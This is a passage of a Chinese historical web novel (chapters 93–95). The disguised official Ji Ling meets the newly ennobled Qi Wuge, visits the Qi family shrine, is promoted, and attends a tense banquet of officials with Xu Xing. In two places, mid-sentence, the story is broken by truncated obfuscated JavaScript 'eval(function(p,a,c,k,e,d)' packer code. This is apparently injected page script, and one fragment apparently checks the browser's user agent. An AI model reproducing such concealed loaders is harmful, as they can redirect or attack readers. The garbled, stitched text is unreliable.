“徐大人,”季泠走到马车边,微微行礼,露出无奈神情,“下官马车已损,既同进宫面圣,斗胆请求徐大人顺下官一程。” 徐行点头,季泠先他一步上了马车,徐行回身,目光逡巡片刻,抱月与林微当即意会,留下接应此事。 巡城御史恭送二人离去,只暗道这官场老手新人,竟都是重情重义之辈。 织锦蓝地帏掩下,抓着书箱的手再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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季泠伸出手指戳戳他的肩,“我好了,你可以转过来。” 徐行再度拉过她的手,似乎比方才凉了些。“你脸色不大好。” 他的指腹轻轻柔柔地摩挲着她的手背,惫意如泄洪一般涌来。闭了眼,正想着往后一倒,触及的却不是轿厢的膈硬。顺着长臂的力道,季泠躺在他的腿上。 “昨日宿醉头疼了?” “嗯。” 太阳穴处多了一双手,竟就那般准确地寻到她的痛处。 季泠握住他的手腕,没有睁眼。 “你可是三品大臣。” 不该做这样的事情。 徐行开口说话,声音却不似从嘴里发出的,而是顺着他的腹部,或是他的指尖,直接淌进她身体里。他的声音,像寺庙古井里的水,有让人心静的魔力。 “在你面前,何时是过了?”他还夹带几分戏谑。 季泠仍擎着他,只是力道松了两分,朝里头挪了挪,好似侧卧在悬崖边,总要抓住老树枯藤才会心安。 可她的心一直不安。徐行的无微不至,让她愧怍万分。敏锐如他,一定早就发现她这段时间的变化,她自认为,自己的掩饰不算成功。 可他什么都不问,或是说,他早已猜到了,却不说,也默许她的不坦诚。 内疚爬过季泠心头,留下一地黏糊糊的思愁。 “徐行,你不能对我太好。”她的声音很倦怠,“我不是知恩图报的人。” 太阳穴上的动作一顿,又无事发生般接上。“航青,你累了。”徐行腕处的指尖颤了一下,缓缓松落,继而落在他的腰后。 她听见四周的喧闹渐渐平息,路途越来越平坦,声音被肃静规划得方正,不留余响。 快要到宫门了。 徐行替她戴上乌纱帽,指腹在她额角的伤口处停留了一会儿,说道:“今日长街行刺一事,皇上一定会将其与湖广税银联系到一起。 但凡这样的事一出现,负责的官员遇了难、受了伤、见了血,性质就大不相同了。” 徐行将她的碎发别到耳后,“他们也算是帮了你一把。”在赢得圣心上面。毕竟,律法衡量公正,是非判在人心。 帽檐压在季泠眉上,几乎同时,一个主意破土而出。 她在震颤中再次于心中重构、深思、否定、溯洄。 她抬眼,看着身边的人,透过他幽深而平和的双眸,看见惊恐的自己逐渐平复,后又坚定。 兴许,他们真能祝他一臂之力。 93. 养心殿故人再相逢 季泠和徐行一前一后跨过养心门时,撞见了一行官员,为首的是兵部尚书蒋建宽。 她在昔年西北随军前,与蒋大人打过几回照面,后来去了西北,她身边不少人都出自兵部与五军都督府,她与他们虽不算至交好友,可毕竟有一份生死与共的情谊在。 后来冬至宫宴变故,她身份暴露,受人指摘,遭人轻视,那些在西北结识的官员一改在西北的嘲笑,反倒对她和颜悦色了。 人心实在古怪,季泠摸不透。 “蒋大人。”一道声音与他们二人见礼的声音同时响起,季泠本能抬头看去,却突然愣住。 那人从养心殿内走出来,朱门金瓦,蓝天灰砖,一身素色衣裳,与四年前意气风发的少年判若两人。 那人由严诚亲自相送,大步走到蒋建宽身边,看见季泠时,眼眸中惊诧浮现。 只是一瞬间,也只有面对他的季泠与徐行捕捉到了。 待蒋建宽回身时,他已经眼中无波,只是在视线快速掠过徐行手中的书箱后,长久停留在季泠身上。 像一只紧紧抓住树干的鸿雁,齐无戈的目光攫着季泠。 “侯爷。”所有人都在行礼,对着如此年轻的侯爷。 蒋建宽很快就看出季泠与齐无戈的异样,出面为齐无戈引见季泠。 “侯爷才回京,与季主事是头一回见面吧?” 侯爷?…齐无戈何时袭爵了?她怎么一无所知? 齐无戈袭爵了,那,齐威齐老侯爷呢? 齐无戈盯着她,问:“季大人?” 季泠后退一步,对齐无戈行了一个大礼,“户部湖广司主事季执庸,见过抚远候。” 季泠心中有千万个疑问,可在心中翻转千百回,最终只能拱手,恭恭敬敬,弯下了腰。 齐无戈伸手之时,季泠收回漫游思绪,得体微笑,回道:“多谢侯爷。” “原来,季执庸,是你。”齐无戈朝季泠笑了笑,皇宫大内,严诚与兵部各官都看出,齐无戈似乎对这位青年主事很感兴趣。 季泠没接话,蒋建宽多看了一眼季泠,严诚适时出声道:“两位大人,陛下召见。” 季泠与徐行拜别他们,随着严诚跨过养心门。 “齐老侯爷…” 严诚略微回头颔首,答:“老侯爷因旧伤复发,上月身故了。” 身故了… 他们远在湖广,一无所知。 行至养心殿前,严诚入内禀报,季泠伸手,徐行将书箱交给她时,注意到微颤的指尖。 宫道长长,晨间飞鸟停留在宫墙脊瓦上。宫人们贴着墙沿走,绕过铸铜大缸时,见到两人,停下行礼问安,又在一言不发中低头匆匆离开。 齐无戈抬头,看见那几只鸟儿扑棱着翅膀,消失在四方天中。 秋天快要到了。 建州的秋天很短,通常不过一旬,枫叶在一夜之间变红,春花犹能盛放,树木也会长青,一场秋雨带来寒意,建州就进入湿冷的冬天。 可总有人无比怀念那个冬季无雪的地方,有不知疲倦拍打礁石的海浪,有漫山遍野的杜鹃花。 齐无戈说:“听说,今年湖广旱灾严重。” 蒋建宽答:“夏初时,季主事暂代湖广司郎中一职,去湖广赈灾。徐侍郎领巡抚衔,统管赈灾事宜。” 齐无戈点点头,吐气声重了几分。 蒋建宽偏头看他,问说:“侯爷与季大人认识?” 齐无戈脸上伤情未消,一身素衣,肩上的担子重得快要把青年压垮了,山东海风还是把年少锐意磨钝。 “去年山东大雪,压塌众多屋舍,军饷延误数月,死了很多弟兄。” 蒋建宽点点头,想起这件事。蒋建宽腾出手去过问此事,纯粹是看在老侯爷的面子上。军饷延误已非奇闻,边境军费庞大,要供应保障已经困难,与户部沟通,也总是被国库空虚的空话堵回来。 当时,蒋建宽派了人去户部争论,户部官员只说,“巧妇难为无米之炊啊!若还要钱,倒不如先把老夫的命拿去!”他派去的郎中就与那户部之人打了起来,还挂了彩,灰溜溜回了兵部。 这件事最后应该是解决了,他并未多留心去过问。是而,蒋建宽尚不明白,齐无戈提及此事是为何意,两件事看起来风马牛不相及。 “我麾下有一经历官,与山东司员外郎相识,他最后将山东卫所军饷一事解决了。这位员外郎要抗住上面的压力,去替全山东军士解决衣食性命的大事,想来必定十分不容易,抚远侯府会记得这份恩情。” 蒋建宽脑内过了一遍,山东司郎中,名为陆平。手下的祝员外郎是当年名动京城的探花郎,入翰林院一年,被礼部刘大人安排进了户部观政。之后,他由陆平招入麾下,悉心教导,是极佳的少年良材。 祝扶春虽然年轻,可能力出众,再历练一二十年,在金瓦庙堂中,也会有一席之地。 “祝员外郎做事一向妥帖。” 齐无戈笑笑,说:“祝员外郎来山东时,威海卫接风招待。我问及此事,想知道他是如何摆平户部那些人。” 齐无戈转头与蒋建宽忆起那日交谈,仍然记得这位探花郎听到他提及此事时,难掩笑意。 他说,是受人之托,此事本不是他负责。他不过占了一个名义,山东大雪军饷保障一事,另有功臣。 齐无戈问:“是何人?” “是她。” 蒋建宽了然,感叹道:“原来,侯爷与季主事还有这段渊源。” 齐无戈道:“是啊,确实,颇有渊源。” 蒋建宽突然想起,抚远侯府与季泠的缘分似乎确有前因可溯。 “想来,季主事应当是顾及与瑞云将军的袍泽之谊。” 齐无戈猛然止步,压下心中惊慌,只表露出应有的疑惑:“与荡云,有何干系?” 蒋建宽反而讶然:“侯爷不知道?当年周平瞒报西北战况,鞑靼大军直逼居庸关,老侯爷临时受召领兵,前往西北对战鞑靼。” 那是齐威最后一场战役,牵动了早年战场留下的旧伤,之后班师回朝,久久不愈。齐夫人为老侯爷遍寻名医,皇上也派了大内御医前来,终究无力回天。 昔年北周南齐,一双名将,今皆殒身,国之大憾。 “荡云取顺义王之孙的首级,一战成名,延续了抚远侯府荣耀。这件事情,我知道。可是与她……与季主事,有什么关系?” 她如今既然名为季执庸,齐无戈又怎会不知,她的身份既是不可为外人道的秘密。若是,有人探查到,她与抚远侯府的旧日联系,对她而言,兴许是灭顶之灾。 “侯爷不知道吗?随瑞云将军去西北、负责军士粮草辎重的户部官员,就是季主事啊。” 蒋建宽随口接着说:“那时候,季主事还是以男子身份前去随军,统筹粮草,她所制的补给线路,西北至今仍在使用。” 蒋建宽素来信奉在位谋职之理,他的妻女都是老实本分,学些看账管家的本领,能管理好家族内务即可,外头刀光剑影也好,栉风沐雨也罢,都是男人的事情。当时钟荡云要上战场,还非耍脾气,要领副将一衔,蒋建宽是绝对不容许的。 他既为兵部尚书,怎可将西北数十万军民性命视作玩笑,随意交给一个战场都未上过的女娃娃。若非看在老侯爷的面子上,又念及西北确实无人可用,兴许他是不会退让那一步,今时也不会有护卫边陲的那位瑞云将军了。 户部推了季执庸这样一个小官去统筹军需,他本也不甚满意,却也不知最后怎么就定下来了。 去年冬至宴,他得知这季主事胆大包天,竟然敢女扮男装,擅入朝堂,妄议政事,着实将他吓一大跳。 可转头回来又想着,他也算是歪打正着了,不得已任用的两个女人,竟也没给他拖后腿,反将当日急况力挽狂澜。否则,他眼下也该去地府与周平继续争执不休了。 齐无戈低声喃喃:“原来,之前传言中那位想要借云儿攀附齐家的户部小官,是她。” 蒋建宽笑笑,不再说话,只是走到宫门,与齐无戈两相拜别,乘车离去。 抚远候府门前的白幡已经撤下,路过车马并未驻足,看起来和往日没有什么差别。 离开齐家五年了,季泠为了避嫌,几乎不从齐家附近的街道走过。如今故地重游,门前三两鸟雀追逐光影跳跃,守卫者冷面肃然,门庭阒寂。 青帏马车只在大门前停留片刻,就缓缓驶向侧边胡同里。 从后门入内,经过林园,花木扶疏,秩序依旧。齐夫人把齐家打理得井井有条,一如往昔。 夏季炎热,老侯爷没有停棺七日,很快就下葬了。皇上赐了老侯爷无尽哀荣,授了太子太保,追赐谥号“勇毅”。 齐无戈听到下头侍者通报,亲自去接引两人,走过正堂,到齐家祠堂。 季泠抬头,齐家祠堂香火旺盛,将数个排位前的历代抚远候之名照得光亮。 第一任抚远候是随高祖皇帝征战沙场,开疆拓土,是当之无愧的开国功臣。可当年十几位开国功臣,能保留爵位,荣耀至今的,仅剩抚远候府。 这份荣耀绵延历代,因所有齐家子孙在外马革裹尸,因齐家夫人独守京城宅院,通理世家勋贵情分利益,以多年生离为代价,为丈夫孩子换取后方稳固。 齐无戈取了香,护火点燃,轻烟冉冉,他取了其中三根给季泠。 季泠在蒲团上跪下,执香闭眼。她能有今日,要感谢的人太多,她欠很多人一份以死相报的恩。 没有当年老侯爷的默许,她走不出建州,来不了京城。 那道山矾色身影跪在垂幡中,长明油灯摇曳,供奉瓜果鲜甜与线香沉静交融,齐无戈在她身边的蒲团上跪下,香灰落在手背上,滚烫的烛油滴在心里,凝结成破不尽的浓白悲伤。 齐无戈带她们去给老夫人请安。帘子拨开时,季泠看见,那位月光下挥舞长枪的女将军,如今已经双鬓斑白。 五年匆匆光阴,所有人都变了模样。 齐夫人看见季泠,先是一愣,又看向她身侧的齐无戈,朝二人招了招手。 齐夫人在这五年中,见过她多次。只是每次季泠回头时,她总是背身,在与其他人交谈。 “季大人,快请起。” 齐夫人贴身嬷嬷为季泠与齐无戈送来圆墩,两人坐在罗汉床前,齐夫人靠着迎枕,略显疲惫。 齐夫人拉住季泠的手,上上下下看着她,季泠如今愈发稳重,举手投足皆端正大方,朝堂与责任终究让昔日钟鼓园秋千上的两个姑娘褪去活泼。 “好孩子,你有今日,伯母很高兴。” 季泠回握住齐夫人的手,万分诚恳道:“夫人,季泠受齐家恩惠,无论如何,只要齐家需要我,我必定赴汤蹈火,绝不犹豫。” 齐夫人摇了摇头,制止住她的下文:“听说,湖广赈灾,季大人功劳甚高,近日要升官了?” 齐无戈只凝视身边之人,这事他也不知情。 “尚未定下,还需三年期满,过了吏部考校,才知道结果。” 齐夫人点点头,说:“朝堂凶险,并非你不犯人,人就不犯你。升了官,眼红你的人就更多了。你日后的路,不好走。” 季泠还想说什么,再次被齐夫人压下:“季大人是户部官员,与齐家没有关系,也不欠恩情。” 齐夫人抬了抬手,嬷嬷扶她起身,朝内室走去时,看着长子,却对着季泠说:“去吧,去钟鼓园看看,走出这个门,日后,你未必有机会再进来了。” 走过了月洞门,月 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“终究是回忆,现在的我就不必多此一举去打破了。”不打开那扇门,她就能永远留住十七岁的欢声笑语。美好离开,总比到来轻易。 齐无戈跟着她走出钟鼓园,经过景亭中,齐无戈终于忍不住开口,叫住将要远去的季泠。 “泠儿。” 林微转头看了一眼季泠,朝她安抚一笑:“去吧,我在后门马车里等你。” 不知为何情浓心怯,季泠转过身,齐无戈发现,她身上积淀着难以触及的秘密,藏着他错失的五年岁月酿就的经历。 她不再歪着头,睁圆眼看着他,露出疑惑的神情,也不再拎着月华裙,有些别扭地小跑过来。琵琶袖圆领短袄换成了大袖斜襟长衫,季泠端着手,眉头无察觉中翕动着,问他:“怎么了?” 齐无戈一步步走向她,想了很多话,最后只能以问安起头:“这几年,你,过的好吗?” 季泠摊摊手,笑了,他似乎又看见曾经荡秋千的她。 “很好,你看,我当官了。” 景亭外郁郁葱葱,偌大的侯府提前进入秋天的寂静中。 可齐无戈知道,不会很好的。 她离开齐家五年,爬到如今的位置,行事作风几乎全然大变,得失相倚,她不可能过得很好。 他又想起那日养心殿前,替她提着书箱的人。 那只书箱,当年在他手上拎着。他拎着她的书箱,带着她从建州到了京城。 “你,选了徐先生,是吗?” 季泠双瞳颤动,低下头,没作声,只是后退了一步。 齐无戈走到她面前,季泠看见他腰间挂着的抚远侯玉牌。 “泠儿,”齐无戈十分怅然,“我不可能害你。” 季泠抬眼,齐无戈的眼神无比真挚,她想逃走。 “现在,你我之间,竟然也走到需要隐瞒的地步吗?” 季泠答:“没有,只是…” 只是这并不是确定的事情,她不知道怎么说。何况,她有什么资格与齐无戈说起她的感情?她已经伤害过他一回,怎能再三如此残忍呢? “你喜欢他。” 季泠背过身,没有点头,也没有否认。 “这也是你的秘密,对吗?” 无尽的歉疚随着落日余晖笼罩住她,季泠想了很多,还是对他坦诚了:“是。” “若是跟了徐行,泠儿,你的日子会更不安稳。” “我没有打算跟他。”季泠打断齐无戈的话,语调平稳地太过自然,让齐无戈都不免露出惊讶神情,怀疑起自己那日所见所感。 也罢,她的秘密,他不深究。 齐无戈道:“若将来,你遇到什么难事,一定一定,要来找我。” 齐无戈说着,伸出手,虚扶在她的肩上,停留了很久,终究没有落下。 “徐家帮不上你的,我能。泠儿,记得。”他不去看她的眼睛,只朦胧看向她身后的一丛歪斜灌木,想起之前他用竹片小蛇吓她,她气恼得追他打他。 “抚远侯夫人的位置……” “稷安,”季泠阻止他,“我们都不是孩子了。” “老夫人说得对,我与抚远侯府,不能有牵扯。” 齐无戈怔神,唇边泛起苦涩。“抚远侯府,欠季主事一份恩情。” 季泠闻言就明白,他已经知道去年她拜托祝扶春的那件事了。 齐无戈神思憾然:“泠儿,我只希望,你能顺遂安乐,所愿必得。” 季泠说:“我会的。”她朝他一笑,齐无戈听见她说:“稷安,你也是。” 少年时的情深,是孩子幼年吃到的第一颗糖,是蝴蝶破茧见到的第一朵花。是他一个人的遗憾,是他一个人等待天光乍现,见证红日初升的美好。这样的感情啊,想忘,也忘不掉。 景亭被阴翳掩盖,齐无戈就这样看着季泠走出景亭,走过月洞门。他看着鸿鹄一再高举,天地睹方圆。 齐无咎从景亭后的另一处院子里走来,站在齐无戈身边,喊了一声“大哥”。 齐无戈说:“我走后,京城这儿,就靠你了。” 齐无咎点点头,却说:“大哥,你想要她,很简单。” 齐无戈笑了:“很难,你也知道的。” 醉心琴棋书画的少年如今已然有了振立门庭的本事,含情脉脉的双眼留不住任何一份情谊。他想了许久,终于也说出那句:“是啊,很难。” 齐无咎看着月洞门,转身走回院子中,自言自语道:“她,要回来了。” 齐无戈默然许久,往主院走去,伸手探向袖中,是一方几乎崭新的汗巾,尾端题着一行诗,“于道各努力,千里自同风”。 他珍藏了六年,墨色渐渐淡了。 “她,再也不会回来了。” 94. 信达浮云堂邀赴宴 齐无戈心里明白,这五年得不到季泠任何消息,大抵也有母亲和妹妹的手笔。 他一人在山东,被晶莹漩涡卷入过往里,总期待着,是否来日回京能有机会与季泠再续前缘。可她们在京城,她们看见过季泠灼灼如阳,挥斥方遒的骄姿,她们知道季泠志之所向。她永远不会回头了。 三年任期已满,季泠通过吏部考校,得到皇上首肯,正式升迁为户部湖广司郎中。 由白芨白蔹服侍着,季泠穿上白鹇补子小杂花纹公服,配上银钑花束带,拿着象牙笏板,正经模仿着上朝时的模样,四方步走得熟练非常。 林微走进里间时,迎面就瞧见季泠亮着眼,咧着嘴,扬着下巴看向她,十足得意。 林微笑着摇头道:“你这只是五品官,就激动成这样,若是将来荣登二品,岂不是嘴都歪到天上去了?” 季泠笑嘻嘻拉过她,在她面前转悠着,就要听林微继续夸奖。 “那我可真要借你吉言了。不必等我成为二品大员,现下我的嘴已然歪到天上去了。” 铜镜里,林微替季泠正了正官服肩线,听她叹道:“真气派啊,原来只差一品,感受竟完全不同呢!怪不得人人都要卯足劲儿地向上爬,权势倒不必说,光是这身行头,就足以让人垂涎了。” “官迷。” “我就是官迷!往后啊,我们浮云堂里出去的人也能抬头挺胸了。若是你们出门,有人问起,是哪家的大人,你们就可以说……” 满屋的姑娘们异口同声道:“石竹巷季家!” 瞬间,笑声在里间内迸响,姑娘们笑作一团,连带着季泠也大笑起来,伸手直捶着林微。 她们正当华年,来日方长。 税银案的进展并不顺利。贺晋环死了,闫有德在诏狱内等候发落,季泠回京没多久,将她从武昌所得证据直呈御案,季泠本以为,税银案终于可以告一段落,她也可以缓一口气,准备下一步计划。 直到三日后,消息传来:“姚知府与曲通判,畏罪自杀了。” “什么!”季泠猛然站起,不可思议。 在要正式提审的前一夜,畏罪自杀,会如此巧合吗? 季泠突然想起她忘记的一件东西,立刻将公案桌上的所有书册都扫开,急急忙忙在如山纸页中寻找。 林微被她吓了一条,忙问:“找什么?” 季泠来不及回应,只顾着埋头苦寻,将每一本书册抖过,一本本摊开又抡到一旁。直到齐整公案成了一团废墟,季泠才终于停手。 “完了,东西,被人偷走了。” “什么?” 季泠撑着头,脑中极速重现回京这几日时,她这户部值房的蛛丝马迹,以及所有与她有过交谈的人,可仍是徒劳无功。 “是一只簪子。” 林微不解:“与税银案有关?” 季泠点点头:“姚夫人的桃花簪,是姚知府赠她的。当日我从姚夫人那儿骗来一支,想着回京提审时,若是姚知府不说,兴许此物能够派上用场,看看他是否会因为顾及夫人儿子,而选择倒戈于我们。” 回京数日,她忙的脚不沾地,随手就将那只簪子放在公案上。湖广司成堆的牒呈送到她这儿,将她眼前清明视线全部遮挡住。没成想,这只簪子,被哪个有心之人瞧见,顺手牵羊带走了。 仅凭她一人之力,简直是蚍蜉撼树。 季泠必须与人合作。 很快,宋勍将帖子送来了。 “明日下值时分,流音阁设宴。” 季泠看见末尾两行小字,心中一动,突生慌不择路之感。 宋勍在一侧候了许久,季泠灌了一盏茶,才压下翻涌如浪的思绪,问他:“可有说,是何时?” 宋勍答:“览风大人说,是湖广正事。” 季泠点点头,挥退他下去。在浮云堂间踱步,鬼使神差的,季泠又摊开那张短笺。 前头的十一个字写得端正,正居于短笺之中。后头那两列字,笔走游龙,若不是她识得他笔迹,了解他素日写字的习惯,怕是没办法一眼就看出他究竟藏着什么玄机。 航青如晤。山止甚念。 那八个字贴着纸边,想来是他一时兴起,信手所添。季泠将那张短笺折得平整,放入随身荷包之中。 山止…… 原来,他还记得。 季泠走到浮云堂前,斜倚着隔扇门,歪头看皓月当空,心中那几分旖旎情思也随暮云逐月飘浮而去。 突然间,她低下头,晃着腿,脚底一下下摩擦过地面,小石子被她踢出几步远。季泠忍不住轻笑,又觉得有几分丢脸,四处张望几下。 浮云堂各处灯火通明,堂前高挂的灯笼还夏末微风中轻摇着。 次日,季泠到达流音阁,不同往日,她的马车被引入了流音阁深处。 宋勍带着几人跟在她身后,似乎有恃无恐,全然不怕被人发现端倪。 季泠留心几分,发现往日繁华热闹的流音阁似乎都只留在前方宾客之中。她被宋勍带到中部一处阁楼里暂歇着,四处都是身着苍蓝色窄袖长跑的护卫。 徐行这是花了多少钱,包场了? 要在流音阁这样的地方包场,花费不小不说,关系也不是那么好疏通的。 未让季泠久侯,览风前来接应,将她带上一只小船。 玉湖夜景极佳,只是,难免让她想到不好的过去。 季泠暗暗猜测徐行究竟是要做什么,若只是简单的谈论湖广税银案,为何如此大费周折? 季泠没有安坐在船舱内,而选择站在船夫身旁。晚间湖面风凉,湖水划过船桨,季泠看见千帆榭外环绕四周的柳树。 船快要靠岸了,划水的速度放缓了些,在船身侧碰到水榭木廊边时,季泠不慎没站稳,往后踉跄退了几步。 她突然没来由地紧张,转头看向览风问道:“少爷呢?” 柳树荫荫,她看不清千帆榭内的情况,只有若隐若现的两纵苍蓝色身影。若是按照常理,徐行该亲自出来接她才对,她如今对反常之事很敏感。 览风回话说:“少爷已经在厅内坐下了,今日有客在此,少爷暂时难以脱身,望季大人见谅。” 有客? 季泠虚虚扶着木廊圆柱扶手,跟随览风往水榭内走去。 穿过上回张瑛等人设宴的前榭亭台,览风将她带到一处暂歇的偏厅。 季泠暗自思忖着,徐行这究竟是在打什么哑谜,如此大费周章,真的是为了谈公事吗?览风说的客人又是谁? 徐行这话说得一半半,实在叫她心里不安。 这份微小的不安并未持续多久,览风去而复返,说道:“季大人,里面请。” 季泠走到门前,隔扇门虚虚掩着,应该有一座屏风隔着,传出来的声音很弱。 览风推开门,顷刻间,如山中峡谷迅风贯穿,所有人的声音扭成一条绳结,直灌入季泠耳中。 她猜到了,徐行今日确实是要找她谈湖广公事,也确实是有客。 只是,她没想到,他会带她去见这些人。里头的声音有她熟悉的,如他的老师,内阁学士,礼部侍郎谭谦;她的上司,户部侍郎应惟绅;他的好友,大理寺丞林清许。以及许多她不熟悉的、或是全然陌生的声音。 两侧木门已经打开,览风抬手请她入内,季泠却久久没有抬步。 透过屏风,厅内景象朦朦胧胧,交谈声如浪潮汹汹,季泠转身退到一侧高几边上。 外头的动静惹得厅内之人看来,一道身影绕过君子兰屏风,又跨过门槛,准确找到那个准备离开的背影。 徐行的声音穿过万千细浪,目标明确,朝她而来:“季郎中。” 季泠顿步,深吸数口气,以极端强力压下情绪,微笑转身,微微伏身行了礼,“徐大人。” 再度抬头,徐行身后走出两人,一个是林清许,另一个,年岁看起来与他相差无几,生得一幅逗趣面庞,露出打探神情,上上下下扫视着她。 季泠忍下不悦,视线越过徐行,直直与他对上。那青年才意识到自己行为不妥,朝着徐行努努嘴,颇为揶揄:“润旻,还有客?怎不介绍介绍?” 季泠这才收回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这场宴席本没有她的位置,她半道而来,才与在场众人见了礼,一转头,本坐在徐行下首的林清许竟然将自己的位置让给她,又往后加了张食案,坐在詹事府左春坊左中允傅停枫的身边去。 季泠顿时呆住,这未免过于明目张胆了吧! 季泠硬着头皮,只能拖着步子坐下,一抬头就与对面的王宣阳对上。 王宣阳举杯朝她一笑,季泠无可奈何,只能回敬。 季泠本还担心着,是否需要再正式与这八位大人寒暄一番,甫一落座,徐行极其自然地开口,继续他们未尽的话题,众人也一如往常谈论着,方才那片刻意外仿佛从未发生。 季泠偷偷松了一口气,如此一来,她也不必再假模假式地介绍微笑,或与不熟悉的人奉承往来。 她一向不擅长做这样的事情,尤其是面对权势与心眼都远甚于她的人。 若非要说是为什么,季泠觉得大概自己是欺软怕硬的人吧,总是有点害怕他们淡然中暗藏的锋利。 席间,谭谦问起几位学生近况,由亲族人情再论到仕途顺阻,偶然提及,苏州府近年来的举人进士数量似乎远胜往年,该是王宣阳这位知府兴重教育的功劳。 王宣阳却叹道,常言苏湖熟,天下足。而今年湖广大旱,苏州虽然无天灾人祸,可百姓生计似乎并未改善。 由此,黄易兴说起南直隶粮价波动一事,应明接上他的话,说到他所辖的凤翔府在调控粮价上的举措颇有效果,又借着请教之名,询问应惟绅后续该如何稳定。 季泠安坐一旁,凭借只言片语,大抵也能推断出今日意外的来龙去脉。 徐行原本应该只是准备找她商讨姚曲二人畏罪自尽之事,恰逢地方官员回京述职,纷纷前来拜访恩师谭谦,并以此宴为由,顺理成章谈论税银案。 谭谦是徐行作为谭谦最亲近的学生,理当赴宴。 而她既然是税银案所有证据的掌握者,案件来龙去脉的掌舵人,加入其中也是必然。 只是,当真如此简单吗? 95. 千帆榭识人又断事 季泠想要置身事外,却察觉到炙热视线,捏起茶盏饮下时,眼神越过杯沿,看向视线来处。 几乎同时,几人若无其事般淡淡掠过她,继续商议正事。 他们都是混迹官场多年的人精,隐藏心思确实是轻而易举。 可女子对这种不可名状的感受,似乎总是要敏锐几分。风未吹,草未动,她们就能凭借直觉捕捉异样,如蛰伏猛禽。 他们似有若无的停留,带着审视与兴趣,绝不是好奇她在税银案之中是如何大展拳脚。而是…… 她出现在此的契机。 侍者提壶候着,见季泠茶盏空了,上前替她补上。 季泠往后一靠,侍者始料未及,手中滚热的茶汤全浇在她身上,肩臂处淡淡白雾升腾,香气弥散开来。 隐在宽袖中的手掐住了大腿,季泠闭了闭眼,轻声说:“无碍,将我的席面换下吧。” 侍者如蒙大赦,连连点头。即便她再想低调行事,这般大的动静也无法遮掩。 方才还与谭谦说话的徐行转过头瞧见她的狼狈,手已经撑在案前,欲要起身。 季泠先他一步,速度过快,碰撞声引来多人注意。 “惊扰诸位,下官先去换身衣裳。”季泠朝上首几人颔首,由后来的侍者引着离场。 进入更衣偏厅,季泠终于松了一口气。 林微先去替她寻一套合适的衣裳,季泠摸了摸肩膀,那水当真烫极了,虽然将要入秋,可衣裳仍然单薄,一壶滚水倒下来,她差点尖叫出声。 眼下衣裳是凉了些,可患处反倒被湿透的衣裳冰得起了几分自沸烧灼的痛意。 林微走进偏厅,合上门,放下帘子,替季泠褪下湿衣。见那伤势,林微低声喊着:“这么严重!你怎么一声不吭?” 季泠往后看了看,却看不清,只感觉裸露在外的皮肤似乎逐渐膨胀,像滚沸的水一样,要冒出泡泡。 “方才席间那么多人,我肯定不能出声的。” 林微叹气,只能先替她上药,“从前,你刚开始学骑马的时候,腿侧被磨破了,都会大喊大叫的。” 季泠低下头,攥着刚刚脱下的外衫,轻声说:“所以,那是从前了。” 借由晾药的空档,季泠仔细回顾着方才注意的细节。 对面的王宣阳,林清许旁边的傅停枫,还有应明。其他人倒也罢了,应明的眼神太明显,若是能化形,怕是要卷成一团线,把她和徐行死死捆在一块儿了。 若是对某些事情不知情就算了,可她偏偏知道了,心里难免犯起疙疙瘩瘩的怪异感,总觉得应明对她并不友善,仿若她抢走了本属于应家的金元宝似的。 腹诽至此,季泠忽然想到,前几日在宫道上遇见林清许时,林清许满面红光,对她一拜,说道:“季大人,安好啊!” 季泠嘴角一抽,暗道这淡雅出尘的林大人话中有话。 她想要追问一二,林清许却只说,她将良运呈祥。 季泠摸不着头脑,只以为是林清许祝贺她升官,她也笑笑回道,林大人定也能同她一样。 林清许表情变了一瞬,古怪得很,与她又客套两句,才大步离开。 再说回方才席间其余人,谭谦不会无端说起苏州府举人进士增额,王宣阳将教育一事转变到百姓生计上,许是因为,苏州府这两年因官身免去税赋的人过多了,里头七拐八绕的关系太复杂,里胥豪右蠹弊特甚,王宣阳若是不重视,积弊过久,会影响他后续地方施政。 如此看来,谭谦作为师长,确实是有心了,倒也难怪徐行如此敬重他。 万慎与黄易兴两人是南直隶举重若轻的人物,她之前倒也听何咨宁提起过。 公主曾在南直隶多年,这两人却不在公主掌控范围之内,原来,是谭谦的门生。 林微打着扇子,替季泠扇着伤口,门外览风问话的声音响起,季泠往后瞥了一眼,说:“替我穿上吧,离开太久不好。” 季泠连手都抬不起来,林微将袖子堆拢成一小截,又将季泠的手小心从袖中穿过。 边替她穿衣,林微边说:“其实,你可以不去的,这样伤口捂着,更不容易好了。” “无妨,”季泠借由逃遁的这会儿空隙,终于把思路理清了些,既然心里有了底,她才能为等会儿的表现做准备。 替季泠束好带,林微低声说:“何大人回来了。” 门前览风的脚步声已经渐远,季泠停在帷幔处,心中总算松快几分:“到北直隶了吗?” 林微点点头,替她撩起帷幔,护着她出去。“你去接应,我这儿结束后,立刻过去。” “会不会太急了?” 季泠摇摇头,门外的侍女已经把隔扇门打开了,季泠缓步走出,“我…我当下有极要紧的事情,想问问她。” “去吧。”林微点点头,转身往木栈走去。 季泠虚抬着患处,避免衣裳贴着皮肉,不远处,一道脚步声与她的步伐赶到一处。 略抬了抬眼,方才的放松顿时消失无踪,季泠等候来者的试探。 “季大人。”那人已经走到她身边,看着她的肩臂,关切道:“可有碍?” 季泠拉开距离:“傅大人怎么在此处?” 傅停枫避而不答,反感慨道:“自古以来,成大事者,第一要义,即为忍。今日下官也算明白,为何季大人年纪轻轻,却能担此高位。” 年纪轻轻?不若直接说她资历不足,能力不够得了。 季泠不在意般笑了笑,看向曲廊处的荧荧烛火,映衬在玉湖里,像是天下为公盛景时、人人皆可分得的一轮月亮。 “是吗?依我看,忍字头上一把刀,伐异者,也诛己心。不若‘勇’字,哪怕误入甬道,也可凭力破路而出,柳暗花明。” 傅停枫偏过头,看向湖中粼粼亮光,没有说话。 季泠回到席间时,话题已经被正式引入税银案中。 她回来得倒是时候。 徐行偏头,看似在注视着说话的应明。因着肩臂的灼烧,季泠比先前更沉静,一言不发。 身后多了一位侍女,紧靠着季泠,时不时为她添茶水递帕子。 